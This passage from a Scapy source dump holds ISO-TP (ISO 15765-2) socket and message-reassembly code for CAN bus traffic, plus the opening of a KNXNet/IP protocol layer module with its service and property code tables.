time.monotonic() class Handle: """Handle for a timeout, consisting of a callback and a time when it should be executed.""" __slots__ = ['_when', '_cb'] def __init__(self, when, # type: float cb # type: Optional[Union[Callable[[], None], bool]] ): # type: (...) -> None self._when = when self._cb = cb def cancel(self): # type: () -> bool """Cancels this timeout, preventing it from executing its callback""" if self._cb is None: raise Scapy_Exception( "cancel() called on previous canceled Handle") else: with TimeoutScheduler._mutex: if isinstance(self._cb, bool): # Handle was already executed. # We don't need to cancel anymore return False else: self._cb = None TimeoutScheduler.cancel(self) return True def __lt__(self, other): # type: (Any) -> bool if not isinstance(other, TimeoutScheduler.Handle): raise TypeError() return self._when < other._when def __le__(self, other): # type: (Any) -> bool if not isinstance(other, TimeoutScheduler.Handle): raise TypeError() return self._when <= other._when def __gt__(self, other): # type: (Any) -> bool if not isinstance(other, TimeoutScheduler.Handle): raise TypeError() return self._when > other._when def __ge__(self, other): # type: (Any) -> bool if not isinstance(other, TimeoutScheduler.Handle): raise TypeError() return self._when >= other._when class ISOTPSocketImplementation: """ Implementation of an ISOTP "state machine". Most of the ISOTP logic was taken from https://github.com/hartkopp/can-isotp/blob/master/net/can/isotp.c This class is separated from ISOTPSoftSocket to make sure the background thread can't hold a reference to ISOTPSoftSocket, allowing it to be collected by the GC. :param can_socket: a CANSocket instance, preferably filtering only can frames with identifier equal to rx_id :param tx_id: the CAN identifier of the sent CAN frames :param rx_id: the CAN identifier of the received CAN frames :param padding: If True, pads sending packets with 0x00 which not count to the payload. Does not affect receiving packets. :param ext_address: Extended Address byte to be added at the beginning of every CAN frame _sent_ by this object. Can be None in order to disable extended addressing on sent frames. :param rx_ext_address: Extended Address byte expected to be found at the beginning of every CAN frame _received_ by this object. Can be None in order to disable extended addressing on received frames. :param bs: Block Size byte to be included in every Control Flow Frame sent by this object. The default value of 0 means that all the data will be received in a single block. :param stmin: Time Minimum Separation byte to be included in every Control Flow Frame sent by this object. The default value of 0 indicates that the peer will not wait any time between sending frames. :param listen_only: Disables send of flow control frames """ def __init__(self, can_socket, # type: "CANSocket" tx_id, # type: int rx_id, # type: int padding=False, # type: bool ext_address=None, # type: Optional[int] rx_ext_address=None, # type: Optional[int] bs=0, # type: int stmin=0, # type: int listen_only=False, # type: bool fd=False # type: bool ): # type: (...) -> None self.can_socket = can_socket self.rx_id = rx_id self.tx_id = tx_id self.padding = padding self.fc_timeout = 1 self.cf_timeout = 1 self.fd = fd self.max_dlen = CAN_FD_MAX_DLEN if fd else CAN_MAX_DLEN self.filter_warning_emitted = False self.closed = False self.rx_ext_address = rx_ext_address self.ea_hdr = b"" if ext_address is not None: self.ea_hdr = struct.pack("B", ext_address) self.listen_only = listen_only self.rxfc_bs = bs self.rxfc_stmin = stmin self.rx_queue = ObjectPipe[Tuple[bytes, Union[float, EDecimal]]]() self.rx_len = -1 self.rx_buf = None # type: Optional[bytes] self.rx_sn = 0 self.rx_bs = 0 self.rx_idx = 0 self.rx_ts = 0.0 # type: Union[float, EDecimal] self.rx_state = ISOTP_IDLE self.tx_queue = ObjectPipe[bytes]() self.txfc_bs = 0 self.txfc_stmin = 0 self.tx_gap = 0. self.tx_buf = None # type: Optional[bytes] self.tx_sn = 0 self.tx_bs = 0 self.tx_idx = 0 self.rx_ll_dl = 0 self.tx_state = ISOTP_IDLE self.rx_tx_poll_rate = 0.005 self.tx_timeout_handle = None # type: Optional[TimeoutScheduler.Handle] # noqa: E501 self.rx_timeout_handle = None # type: Optional[TimeoutScheduler.Handle] # noqa: E501 self.rx_handle = TimeoutScheduler.schedule( self.rx_tx_poll_rate, self.can_recv) self.tx_handle = TimeoutScheduler.schedule( self.rx_tx_poll_rate, self._send) self.last_rx_call = 0.0 self.rx_start_time = 0.0 def failure_analysis(self): # type: () -> None log_isotp.debug("Failure analysis") log_isotp.debug("Last_rx_call: %s", str(self.last_rx_call)) log_isotp.debug("self.rx_handle: %s", str(self.rx_handle)) log_isotp.debug("self.rx_handle._cb: %s", str(self.rx_handle._cb)) log_isotp.debug("self.rx_handle._when: %s", str(self.rx_handle._when)) log_isotp.debug("Now: %s", TimeoutScheduler._time()) def __del__(self): # type: () -> None self.close() def can_send(self, load): # type: (bytes) -> None def _get_padding_size(pl_size): # type: (int) -> int if not self.fd: return CAN_MAX_DLEN else: fd_accepted_sizes = [0, 8, 12, 16, 20, 24, 32, 48, 64] pos = bisect_left(fd_accepted_sizes, pl_size) if pos == 0: return fd_accepted_sizes[0] if pos == len(fd_accepted_sizes): return fd_accepted_sizes[-1] return fd_accepted_sizes[pos] pkt_cls = CANFD if self.fd else CAN if self.padding: load += b"\xCC" * (_get_padding_size(len(load)) - len(load)) if self.tx_id is None or self.tx_id <= 0x7ff: self.can_socket.send(pkt_cls(identifier=self.tx_id, data=load)) else: self.can_socket.send(pkt_cls(identifier=self.tx_id, flags="extended", data=load)) def can_recv(self): # type: () -> None self.last_rx_call = TimeoutScheduler._time() try: while self.can_socket.select([self.can_socket], 0): pkt = self.can_socket.recv() if pkt: self.on_can_recv(pkt) else: break except Exception: if not self.closed: log_isotp.warning("Error in can_recv: %s", traceback.format_exc()) if not self.closed and not self.can_socket.closed: # Determine poll_time from ISOTP state only. # Avoid calling select() here — on slow serial interfaces # (slcan), each select() triggers a mux() call that reads # N frames at ~2.5ms each, wasting time that could be spent # processing frames already in the rx_queue. if self.rx_state == ISOTP_WAIT_DATA or \ self.tx_state == ISOTP_WAIT_FC or \ self.tx_state == ISOTP_WAIT_FIRST_FC: poll_time = 0.0 else: poll_time = self.rx_tx_poll_rate self.rx_handle = TimeoutScheduler.schedule( poll_time, self.can_recv) else: try: self.rx_handle.cancel() except Scapy_Exception: pass def on_can_recv(self, p): # type: (Packet) -> None if p.identifier != self.rx_id: if not self.filter_warning_emitted and conf.verb >= 2: log_isotp.warning("You should put a filter for identifier=%x on your " "CAN socket", self.rx_id) self.filter_warning_emitted = True else: self.on_recv(p) def close(self): # type: () -> None try: if select_objects([self.tx_queue], 0): log_isotp.warning("TX queue not empty") time.sleep(0.1) except OSError: pass try: if select_objects([self.rx_queue], 0): log_isotp.warning("RX queue not empty") except OSError: pass self.closed = True try: self.rx_handle.cancel() except Scapy_Exception: pass try: self.tx_handle.cancel() except Scapy_Exception: pass if self.rx_timeout_handle is not None: try: self.rx_timeout_handle.cancel() except Scapy_Exception: pass if self.tx_timeout_handle is not None: try: self.tx_timeout_handle.cancel() except Scapy_Exception: pass try: self.rx_queue.close() except (OSError, EOFError): pass try: self.tx_queue.close() except (OSError, EOFError): pass def _rx_timer_handler(self): # type: () -> None """Method called every time the rx_timer times out, due to the peer not sending a consecutive frame within the expected time window""" if self.closed: return if self.rx_state == ISOTP_WAIT_DATA: # On slow serial interfaces (slcan), the mux reads frames # from an OS serial buffer that may contain hundreds of # background CAN frames. Consecutive Frames from the ECU # are queued behind this backlog and can take several # seconds to reach the ISOTP state machine. Extend the # timeout up to 10 × cf_timeout to give the mux enough # time to drain the backlog. total_wait = TimeoutScheduler._time() - self.rx_start_time if total_wait < self.cf_timeout * 10: self.rx_timeout_handle = TimeoutScheduler.schedule( self.cf_timeout, self._rx_timer_handler) return # we did not get new data frames in time. # reset rx state self.rx_state = ISOTP_IDLE if conf.verb > 2: log_isotp.warning("RX state was reset due to timeout") def _tx_timer_handler(self): # type: () -> None """Method called every time the tx_timer times out, which can happen in two situations: either a Flow Control frame was not received in time, or the Separation Time Min is expired and a new frame must be sent.""" if self.closed: return if (self.tx_state == ISOTP_WAIT_FC or self.tx_state == ISOTP_WAIT_FIRST_FC): # we did not get any flow control frame in time # reset tx state self.tx_state = ISOTP_IDLE log_isotp.warning("TX state was reset due to timeout") return elif self.tx_state == ISOTP_SENDING: # push out the next segmented pdu src_off = len(self.ea_hdr) max_bytes = (self.max_dlen - 1) - src_off if self.tx_buf is None: self.tx_state = ISOTP_IDLE log_isotp.warning("TX buffer is not filled") return while 1: load = self.ea_hdr load += struct.pack("B", N_PCI_CF + self.tx_sn) load += self.tx_buf[self.tx_idx:self.tx_idx + max_bytes] self.can_send(load) self.tx_sn = (self.tx_sn + 1) % 16 self.tx_bs += 1 self.tx_idx += max_bytes if len(self.tx_buf) <= self.tx_idx: # we are done self.tx_state = ISOTP_IDLE return if self.txfc_bs != 0 and self.tx_bs >= self.txfc_bs: # stop and wait for FC self.tx_state = ISOTP_WAIT_FC self.tx_timeout_handle = TimeoutScheduler.schedule( self.fc_timeout, self._tx_timer_handler) return if self.tx_gap == 0: continue else: # stop and wait for tx gap self.tx_timeout_handle = TimeoutScheduler.schedule( self.tx_gap, self._tx_timer_handler) return def on_recv(self, cf): # type: (Packet) -> None """Function that must be called every time a CAN frame is received, to advance the state machine.""" data = bytes(cf.data) if len(data) < 2: return ae = 0 if self.rx_ext_address is not None: ae = 1 if len(data) < 3: return if data[0] != self.rx_ext_address: return n_pci = data[ae] & 0xf0 if n_pci == N_PCI_FC: self._recv_fc(data[ae:]) elif n_pci == N_PCI_SF: self._recv_sf(data[ae:], cf.time) elif n_pci == N_PCI_FF: self._recv_ff(data[ae:], cf.time) elif n_pci == N_PCI_CF: self._recv_cf(data[ae:]) def _recv_fc(self, data): # type: (bytes) -> None """Process a received 'Flow Control' frame""" log_isotp.debug("Processing FC") if (self.tx_state != ISOTP_WAIT_FC and self.tx_state != ISOTP_WAIT_FIRST_FC): return if self.tx_timeout_handle is not None: self.tx_timeout_handle.cancel() self.tx_timeout_handle = None if len(data) < 3: self.tx_state = ISOTP_IDLE log_isotp.warning("CF frame discarded because it was too short") return # get communication parameters only from the first FC frame if self.tx_state == ISOTP_WAIT_FIRST_FC: self.txfc_bs = data[1] self.txfc_stmin = data[2] if ((self.txfc_stmin > 0x7F) and ((self.txfc_stmin < 0xF1) or (self.txfc_stmin > 0xF9))): self.txfc_stmin = 0x7F if data[2] <= 127: self.tx_gap = data[2] / 1000 elif 0xf1 <= data[2] <= 0xf9: self.tx_gap = (data[2] & 0x0f) / 10000 else: self.tx_gap = 0. self.tx_state = ISOTP_WAIT_FC isotp_fc = data[0] & 0x0f if isotp_fc == ISOTP_FC_CTS: self.tx_bs = 0 self.tx_state = ISOTP_SENDING # start cyclic timer for sending CF frame self.tx_timeout_handle = TimeoutScheduler.schedule( self.tx_gap, self._tx_timer_handler) elif isotp_fc == ISOTP_FC_WT: # start timer to wait for next FC frame self.tx_state = ISOTP_WAIT_FC self.tx_timeout_handle = TimeoutScheduler.schedule( self.fc_timeout, self._tx_timer_handler) elif isotp_fc == ISOTP_FC_OVFLW: # overflow in receiver side self.tx_state = ISOTP_IDLE log_isotp.warning("Overflow happened at the receiver side") return else: self.tx_state = ISOTP_IDLE log_isotp.warning("Unknown FC frame type") return def _recv_sf(self, data, ts): # type: (bytes, Union[float, EDecimal]) -> None """Process a received 'Single Frame' frame""" log_isotp.debug("Processing SF") if self.rx_timeout_handle is not None: self.rx_timeout_handle.cancel() self.rx_timeout_handle = None if self.rx_state != ISOTP_IDLE: if conf.verb > 2: log_isotp.warning("RX state was reset because " "single frame was received") self.rx_state = ISOTP_IDLE length = data[0] & 0xf is_fd_frame = self.fd and length == 0 and len(data) >= 2 if is_fd_frame: length = data[1] if len(data) - 1 < length: return msg = None if is_fd_frame: msg = data[2:2 + length] else: msg = data[1:1 + length] self.rx_queue.send((msg, ts)) def _recv_ff(self, data, ts): # type: (bytes, Union[float, EDecimal]) -> None """Process a received 'First Frame' frame""" log_isotp.debug("Processing FF") if self.rx_timeout_handle is not None: self.rx_timeout_handle.cancel() self.rx_timeout_handle = None if self.rx_state != ISOTP_IDLE: if conf.verb > 2: log_isotp.warning("RX state was reset because first frame was received") self.rx_state = ISOTP_IDLE if len(data) < 7: return self.rx_ll_dl = len(data) # get the FF_DL self.rx_len = (data[0] & 0x0f) * 256 + data[1] ff_pci_sz = 2 # Check for FF_DL escape sequence supporting 32 bit PDU length if self.rx_len == 0: # FF_DL = 0 => get real length from next 4 bytes self.rx_len = data[2] << 24 self.rx_len += data[3] << 16 self.rx_len += data[4] << 8 self.rx_len += data[5] ff_pci_sz = 6 # copy the first received data bytes data_bytes = data[ff_pci_sz:] self.rx_idx = len(data_bytes) self.rx_buf = data_bytes self.rx_ts = ts # initial setup for this pdu reception self.rx_sn = 1 self.rx_state = ISOTP_WAIT_DATA self.rx_start_time = TimeoutScheduler._time() # no creation of flow control frames if not self.listen_only: # send our first FC frame load = self.ea_hdr load += struct.pack("BBB", N_PCI_FC, self.rxfc_bs, self.rxfc_stmin) self.can_send(load) # wait for a CF self.rx_bs = 0 self.rx_timeout_handle = TimeoutScheduler.schedule( self.cf_timeout, self._rx_timer_handler) def _recv_cf(self, data): # type: (bytes) -> None """Process a received 'Consecutive Frame' frame""" log_isotp.debug("Processing CF") if self.rx_state != ISOTP_WAIT_DATA: return if self.rx_timeout_handle is not None: self.rx_timeout_handle.cancel() self.rx_timeout_handle = None # CFs are never longer than the FF if len(data) > self.rx_ll_dl: return # CFs have usually the LL_DL length if len(data) < self.rx_ll_dl: # this is only allowed for the last CF if self.rx_len - self.rx_idx > self.rx_ll_dl: if conf.verb > 2: log_isotp.warning("Received a CF with insufficient length") return if data[0] & 0x0f != self.rx_sn: # Wrong sequence number if conf.verb > 2: log_isotp.warning("RX state was reset because wrong sequence " "number was received") self.rx_state = ISOTP_IDLE return if self.rx_buf is None: if conf.verb > 2: log_isotp.warning("rx_buf not filled with data!") self.rx_state = ISOTP_IDLE return self.rx_sn = (self.rx_sn + 1) % 16 self.rx_buf += data[1:] self.rx_idx = len(self.rx_buf) if self.rx_idx >= self.rx_len: # we are done self.rx_buf = self.rx_buf[0:self.rx_len] self.rx_state = ISOTP_IDLE self.rx_queue.send((self.rx_buf, self.rx_ts)) self.rx_buf = None return # perform blocksize handling, if enabled if self.rxfc_bs != 0: self.rx_bs += 1 # check if we reached the end of the block if self.rx_bs >= self.rxfc_bs and not self.listen_only: # send our FC frame load = self.ea_hdr load += struct.pack("BBB", N_PCI_FC, self.rxfc_bs, self.rxfc_stmin) self.rx_bs = 0 self.can_send(load) # wait for another CF log_isotp.debug("Wait for another CF") self.rx_timeout_handle = TimeoutScheduler.schedule( self.cf_timeout, self._rx_timer_handler) def begin_send(self, x): # type: (bytes) -> None """Begins sending an ISOTP message. This method does not block.""" if self.tx_state != ISOTP_IDLE: log_isotp.warning("Socket is already sending, retry later") return self.tx_state = ISOTP_SENDING length = len(x) if length > ISOTP_MAX_DLEN_2015: log_isotp.warning("Too much data for ISOTP message") sf_size_check = self.max_dlen - 1 if len(self.ea_hdr) + length + int(self.fd) <= sf_size_check: # send a single frame data = self.ea_hdr if not self.fd or length <= 7: data += struct.pack("B", length) else: data += struct.pack("BB", 0, length) data += x self.tx_state = ISOTP_IDLE self.can_send(data) return # send the first frame data = self.ea_hdr if length > ISOTP_MAX_DLEN: data += struct.pack(">HI", 0x1000, length) else: data += struct.pack(">H", 0x1000 | length) load = x[0:self.max_dlen - len(data)] data += load self.can_send(data) self.tx_buf = x self.tx_sn = 1 self.tx_bs = 0 self.tx_idx = len(load) self.tx_state = ISOTP_WAIT_FIRST_FC self.tx_timeout_handle = TimeoutScheduler.schedule( self.fc_timeout, self._tx_timer_handler) def _send(self): # type: () -> None try: if self.tx_state == ISOTP_IDLE: if select_objects([self.tx_queue], 0): pkt = self.tx_queue.recv() if pkt: self.begin_send(pkt) except Exception: if not self.closed: log_isotp.warning("Error in _send: %s", traceback.format_exc()) if not self.closed: self.tx_handle = TimeoutScheduler.schedule( self.rx_tx_poll_rate, self._send) else: try: self.tx_handle.cancel() except Scapy_Exception: pass def send(self, p): # type: (bytes) -> None """Send an ISOTP frame and block until the message is sent or an error happens.""" self.tx_queue.send(p) def recv(self, timeout=None): # type: (Optional[int]) -> Optional[Tuple[bytes, Union[float, EDecimal]]] # noqa: E501 """Receive an ISOTP frame, blocking if none is available in the buffer.""" return self.rx_queue.recv() ================================================ FILE: scapy/contrib/isotp/isotp_utils.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Nils Weiss # Copyright (C) Enrico Pozzobon # Copyright (C) Alexander Schroeder # scapy.contrib.description = ISO-TP (ISO 15765-2) Utilities # scapy.contrib.status = library import struct from scapy.config import conf from scapy.utils import EDecimal from scapy.packet import Packet from scapy.sessions import DefaultSession from scapy.supersocket import SuperSocket from scapy.contrib.isotp.isotp_packet import ISOTP, N_PCI_CF, N_PCI_SF, \ N_PCI_FF, N_PCI_FC # Typing imports from typing import ( cast, Iterable, Iterator, Optional, Union, List, Tuple, Dict, Any, Type, ) class ISOTPMessageBuilderIter(object): """ Iterator class for ISOTPMessageBuilder """ slots = ["builder"] def __init__(self, builder): # type: (ISOTPMessageBuilder) -> None self.builder = builder def __iter__(self): # type: () -> ISOTPMessageBuilderIter return self def __next__(self): # type: () -> ISOTP while self.builder.count: p = self.builder.pop() if p is None: break else: return p raise StopIteration next = __next__ class ISOTPMessageBuilder(object): """ Initialize a ISOTPMessageBuilder object Utility class to build ISOTP messages out of CAN frames, used by both ISOTP.defragment() and ISOTPSession. This class attempts to interpret some CAN frames as ISOTP frames, both with and without extended addressing at the same time. For example, if an extended address of 07 is being used, all frames will also be interpreted as ISOTP single-frame messages. CAN frames are fed to an ISOTPMessageBuilder object with the feed() method and the resulting ISOTP frames can be extracted using the pop() method. :param use_ext_address: True for only attempting to defragment with extended addressing, False for only attempting to defragment without extended addressing, or None for both :param rx_id: Destination Identifier :param basecls: The class of packets that will be returned, defaults to ISOTP """ class Bucket(object): """ Helper class to store not finished ISOTP messages while building. """ def __init__(self, total_len, first_piece, ts): # type: (int, bytes, Union[EDecimal, float]) -> None self.pieces = list() # type: List[bytes] self.total_len = total_len self.current_len = 0 self.ready = None # type: Optional[bytes] self.tx_id = None # type: Optional[int] self.ext_address = None # type: Optional[int] self.time = ts # type: Union[float, EDecimal] self.push(first_piece) def push(self, piece): # type: (bytes) -> None self.pieces.append(piece) self.current_len += len(piece) if self.current_len >= self.total_len: isotp_data = b"".join(self.pieces) self.ready = isotp_data[:self.total_len] def __init__( self, use_ext_address=None, # type: Optional[bool] rx_id=None, # type: Optional[Union[int, List[int], Iterable[int]]] basecls=ISOTP # type: Type[ISOTP] ): # type: (...) -> None self.ready = [] # type: List[Tuple[int, Optional[int], ISOTPMessageBuilder.Bucket]] # noqa: E501 self.buckets = {} # type: Dict[Tuple[Optional[int], int, int], ISOTPMessageBuilder.Bucket] # noqa: E501 self.use_ext_addr = use_ext_address self.basecls = basecls self.rx_ids = None # type: Optional[Iterable[int]] self.last_ff = None # type: Optional[Tuple[Optional[int], int, int]] self.last_ff_ex = None # type: Optional[Tuple[Optional[int], int, int]] # noqa: E501 if rx_id is not None: if isinstance(rx_id, list): self.rx_ids = rx_id elif isinstance(rx_id, int): self.rx_ids = [rx_id] elif hasattr(rx_id, "__iter__"): self.rx_ids = rx_id else: raise TypeError("Invalid type for argument rx_id!") def feed(self, can): # type: (Union[Iterable[Packet], Packet]) -> None """Attempt to feed an incoming CAN frame into the state machine""" if not isinstance(can, Packet) and hasattr(can, "__iter__"): for p in can: self.feed(p) return if not isinstance(can, Packet): return if self.rx_ids is not None and can.identifier not in self.rx_ids: return data = bytes(can.data) if len(data) > 1 and self.use_ext_addr is not True: self._try_feed(can.identifier, None, data, can.time) if len(data) > 2 and self.use_ext_addr is not False: ea = data[0] self._try_feed(can.identifier, ea, data[1:], can.time) @property def count(self): # type: () -> int """Returns the number of ready ISOTP messages built from the provided can frames :return: Number of ready ISOTP messages """ return len(self.ready) def __len__(self): # type: () -> int return self.count def pop(self, identifier=None, ext_addr=None): # type: (Optional[int], Optional[int]) -> Optional[ISOTP] """Returns a built ISOTP message :param identifier: if not None, only return isotp messages with this destination :param ext_addr: if identifier is not None, only return isotp messages with this extended address for destination :returns: an ISOTP packet, or None if no message is ready """ if identifier is not None: for i in range(len(self.ready)): b = self.ready[i] iden = b[0] ea = b[1] if iden == identifier and ext_addr == ea: return ISOTPMessageBuilder._build(self.ready.pop(i), self.basecls) return None if len(self.ready) > 0: return ISOTPMessageBuilder._build(self.ready.pop(0), self.basecls) return None def __iter__(self): # type: () -> ISOTPMessageBuilderIter return ISOTPMessageBuilderIter(self) @staticmethod def _build( t, # type: Tuple[int, Optional[int], ISOTPMessageBuilder.Bucket] basecls=ISOTP # type: Type[ISOTP] ): # type: (...) -> ISOTP bucket = t[2] data = bucket.ready or b"" try: p = basecls(data) except Exception: if conf.debug_dissector: from scapy.sendrecv import debug debug.crashed_on = (basecls, data) raise if hasattr(p, "rx_id"): p.rx_id = t[0] if hasattr(p, "rx_ext_address"): p.rx_ext_address = t[1] if hasattr(p, "tx_id"): p.tx_id = bucket.tx_id if hasattr(p, "ext_address"): p.ext_address = bucket.ext_address if hasattr(p, "time"): p.time = bucket.time return p def _feed_first_frame(self, identifier, ea, data, ts): # type: (int, Optional[int], bytes, Union[EDecimal, float]) -> bool if len(data) < 3: # At least 3 bytes are necessary: 2 for length and 1 for data return False header = struct.unpack('>H', bytes(data[:2]))[0] expected_length = header & 0x0fff isotp_data = data[2:] if expected_length == 0 and len(data) >= 6: expected_length = struct.unpack('>I', bytes(data[2:6]))[0] isotp_data = data[6:] key = (ea, identifier, 1) if ea is None: self.last_ff = key else: self.last_ff_ex = key self.buckets[key] = self.Bucket(expected_length, isotp_data, ts) return True def _feed_single_frame(self, identifier, ea, data, ts): # type: (int, Optional[int], bytes, Union[EDecimal, float]) -> bool if len(data) < 2: # At least 2 bytes are necessary: 1 for length and 1 for data return False length = data[0] & 0x0f isotp_data = data[1:length + 1] if length > len(isotp_data): # CAN frame has less data than expected return False self.ready.append((identifier, ea, self.Bucket(length, isotp_data, ts))) return True def _feed_consecutive_frame(self, identifier, ea, data): # type: (int, Optional[int], bytes) -> bool if len(data) < 2: # At least 2 bytes are necessary: 1 for sequence number and # 1 for data return False first_byte = data[0] seq_no = first_byte & 0x0f isotp_data = data[1:] key = (ea, identifier, seq_no) bucket = self.buckets.pop(key, None) if bucket is None: # There is no message constructor waiting for this frame return False bucket.push(isotp_data) if bucket.ready is None: # full ISOTP message is not ready yet, put it back in # buckets list next_seq = (seq_no + 1) % 16 key = (ea, identifier, next_seq) self.buckets[key] = bucket else: self.ready.append((identifier, ea, bucket)) return True def _feed_flow_control_frame(self, identifier, ea, data): # type: (int, Optional[int], bytes) -> bool if len(data) < 3: # At least 2 bytes are necessary: 1 for sequence number and # 1 for data return False keys = [x for x in (self.last_ff, self.last_ff_ex) if x is not None] buckets = [self.buckets.pop(k, None) for k in keys] self.last_ff = None self.last_ff_ex = None if not any(buckets) or not any(keys): # There is no message constructor waiting for this frame return False for key, bucket in zip(keys, buckets): if bucket is None: continue bucket.tx_id = identifier bucket.ext_address = ea self.buckets[key] = bucket return True def _try_feed(self, identifier, ea, data, ts): # type: (int, Optional[int], bytes, Union[EDecimal, float]) -> None first_byte = data[0] if len(data) > 1 and first_byte & 0xf0 == N_PCI_SF: self._feed_single_frame(identifier, ea, data, ts) if len(data) > 2 and first_byte & 0xf0 == N_PCI_FF: self._feed_first_frame(identifier, ea, data, ts) if len(data) > 1 and first_byte & 0xf0 == N_PCI_CF: self._feed_consecutive_frame(identifier, ea, data) if len(data) > 1 and first_byte & 0xf0 == N_PCI_FC: self._feed_flow_control_frame(identifier, ea, data) class ISOTPSession(DefaultSession): """Defragment ISOTP packets 'on-the-flow'. Usage: >>> sniff(session=ISOTPSession) """ def __init__(self, *args, **kwargs): # type: (Any, Any) -> None self.m = ISOTPMessageBuilder( use_ext_address=kwargs.pop("use_ext_address", None), rx_id=kwargs.pop("rx_id", None), basecls=kwargs.pop("basecls", ISOTP)) super(ISOTPSession, self).__init__(*args, **kwargs) def recv(self, sock: SuperSocket) -> Iterator[Packet]: """ Will be called by sniff() to ask for a packet """ pkt = sock.recv() if not pkt: return self.m.feed(pkt) while len(self.m) > 0: rcvd = cast(Optional[Packet], self.m.pop()) if rcvd: rcvd = self.process(rcvd) if rcvd: yield rcvd ================================================ FILE: scapy/contrib/knx.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2021 Julien BEDEL # Claire VACHEROT """ KNXNet/IP This module provides Scapy layers for KNXNet/IP communications over UDP according to KNX specifications v2.1 / ISO-IEC 14543-3. Specifications can be downloaded for free here : https://my.knx.org/en/shop/knx-specifications Currently, the module (partially) supports the following services : * SEARCH REQUEST/RESPONSE * DESCRIPTION REQUEST/RESPONSE * CONNECT, DISCONNECT, CONNECTION_STATE REQUEST/RESPONSE * CONFIGURATION REQUEST/RESPONSE * TUNNELING REQUEST/RESPONSE """ # scapy.contrib.description = KNX Protocol # scapy.contrib.status = loads import struct from scapy.fields import PacketField, MultipleTypeField, ByteField, \ XByteField, ShortEnumField, ShortField, \ ByteEnumField, IPField, StrFixedLenField, MACField, XBitField, \ PacketListField, FieldLenField, \ StrLenField, BitEnumField, BitField, ConditionalField from scapy.packet import Packet, bind_layers, bind_bottom_up, Padding from scapy.layers.inet import UDP # KNX CODES # KNX Standard v2.1 - 03_08_02 p20 SERVICE_IDENTIFIER_CODES = { 0x0201: "SEARCH_REQUEST", 0x0202: "SEARCH_RESPONSE", 0x0203: "DESCRIPTION_REQUEST", 0x0204: "DESCRIPTION_RESPONSE", 0x0205: "CONNECT_REQUEST", 0x0206: "CONNECT_RESPONSE", 0x0207: "CONNECTIONSTATE_REQUEST", 0x0208: "CONNECTIONSTATE_RESPONSE", 0x0209: "DISCONNECT_REQUEST", 0x020A: "DISCONNECT_RESPONSE", 0x0310: "CONFIGURATION_REQUEST", 0x0311: "CONFIGURATION_ACK", 0x0420: "TUNNELING_REQUEST", 0x0421: "TUNNELING_ACK" } # KNX Standard v2.1 - 03_08_02 p39 HOST_PROTOCOL_CODES = { 0x01: "IPV4_UDP", 0x02: "IPV4_TCP" } # KNX Standard v2.1 - 03_08_02 p23 DESCRIPTION_TYPE_CODES = { 0x01: "DEVICE_INFO", 0x02: "SUPP_SVC_FAMILIES", 0x03: "IP_CONFIG", 0x04: "IP_CUR_CONFIG", 0x05: "KNX_ADDRESSES", 0x06: "Reserved", 0xFE: "MFR_DATA", 0xFF: "not used" } # KNX Standard v2.1 - 03_08_02 p30 CONNECTION_TYPE_CODES = { 0x03: "DEVICE_MANAGEMENT_CONNECTION", 0x04: "TUNNEL_CONNECTION", 0x06: "REMLOG_CONNECTION", 0x07: "REMCONF_CONNECTION", 0x08: "OBJSVR_CONNECTION" } # KNX Standard v2.1 - 03_08_04 MESSAGE_CODES = { 0x11: "L_Data.req", 0x2e: "L_Data.con", 0xFC: "M_PropRead.req", 0xFB: "M_PropRead.con", 0xF6: "M_PropWrite.req", 0xF5: "M_PropWrite.con" } # KNX Standard v2.1 - 03_08_02 p24 KNX_MEDIUM_CODES = { 0x01: "reserved", 0x02: "TP1", 0x04: "PL110", 0x08: "reserved", 0x10: "RF", 0x20: "KNX IP" } # KNX Standard v2.1 - 03_03_07 p9 KNX_ACPI_CODES = { 0: "GroupValueRead", 1: "GroupValueResp", 2: "GroupValueWrite", 3: "IndAddrWrite", 4: "IndAddrRead", 5: "IndAddrResp", 6: "AdcRead", 7: "AdcResp" } CEMI_OBJECT_TYPES = { 0: "DEVICE", 11: "IP PARAMETER_OBJECT" } # KNX Standard v2.1 - 03_05_01 p25 CEMI_PROPERTIES = { 12: "PID_MANUFACTURER_ID", 51: "PID_PROJECT_INSTALLATION_ID", 52: "PID_KNX_INDIVIDUAL_ADDRESS", 53: "PID_ADDITIONAL_INDIVIDUAL_ADDRESSES", 54: "PID_CURRENT_IP_ASSIGNMENT_METHOD", 55: "PID_IP_ASSIGNMENT_METHOD", 56: "PID_IP_CAPABILITIES", 57: "PID_CURRENT_IP_ADDRESS", 58: "PID_CURRENT_SUBNET_MASK", 59: "PID_CURRENT_DEFAULT_GATEWAY", 60: "PID_IP_ADDRESS", 61: "PID_SUBNET_MASK", 62: "PID_DEFAULT_GATEWAY", 63: "PID_DHCP_BOOTP_SERVER", 64: "PID_MAC_ADDRESS", 65: "PID_SYSTEM_SETUP_MULTICAST_ADDRESS", 66: "PID_ROUTING_MULTICAST_ADDRESS", 67: "PID_TTL", 68: "PID_KNXNETIP_DEVICE_CAPABILITIES", 69: "PID_KNXNETIP_DEVICE_STATE", 70: "PID_KNXNETIP_ROUTING_CAPABILITIES", 71: "PID_PRIORITY_FIFO_ENABLED", 72: "PID_QUEUE_OVERFLOW_TO_IP", 73: "PID_QUEUE_OVERFLOW_TO_KNX", 74: "PID_MSG_TRANSMIT_TO_IP", 75: "PID_MSG_TRANSMIT_TO_KNX", 76: "PID_FRIENDLY_NAME", 78: "PID_ROUTING_BUSY_WAIT_TIME" } # KNX SPECIFIC FIELDS # KNX Standard v2.1 - 03_05_01 p.17 class KNXAddressField(ShortField): def i2repr(self, pkt, x): if x is None: return None else: return "%d.%d.%d" % ((x >> 12) & 0xf, (x >> 8) & 0xf, (x & 0xff)) def any2i(self, pkt, x): if isinstance(x, str): try: a, b, c = map(int, x.split(".")) x = (a << 12) | (b << 8) | c except ValueError: raise ValueError(x) return ShortField.any2i(self, pkt, x) # KNX Standard v2.1 - 03_05_01 p.18 class KNXGroupField(ShortField): def i2repr(self, pkt, x): return "%d/%d/%d" % ((x >> 11) & 0x1f, (x >> 8) & 0x7, (x & 0xff)) def any2i(self, pkt, x): if isinstance(x, str): try: a, b, c = map(int, x.split("/")) x = (a << 11) | (b << 8) | c except ValueError: raise ValueError(x) return ShortField.any2i(self, pkt, x) # KNX PLACEHOLDERS # KNX Standard v2.1 - 03_08_02 p21 class HPAI(Packet): name = "HPAI" fields_desc = [ ByteField("structure_length", None), ByteEnumField("host_protocol", 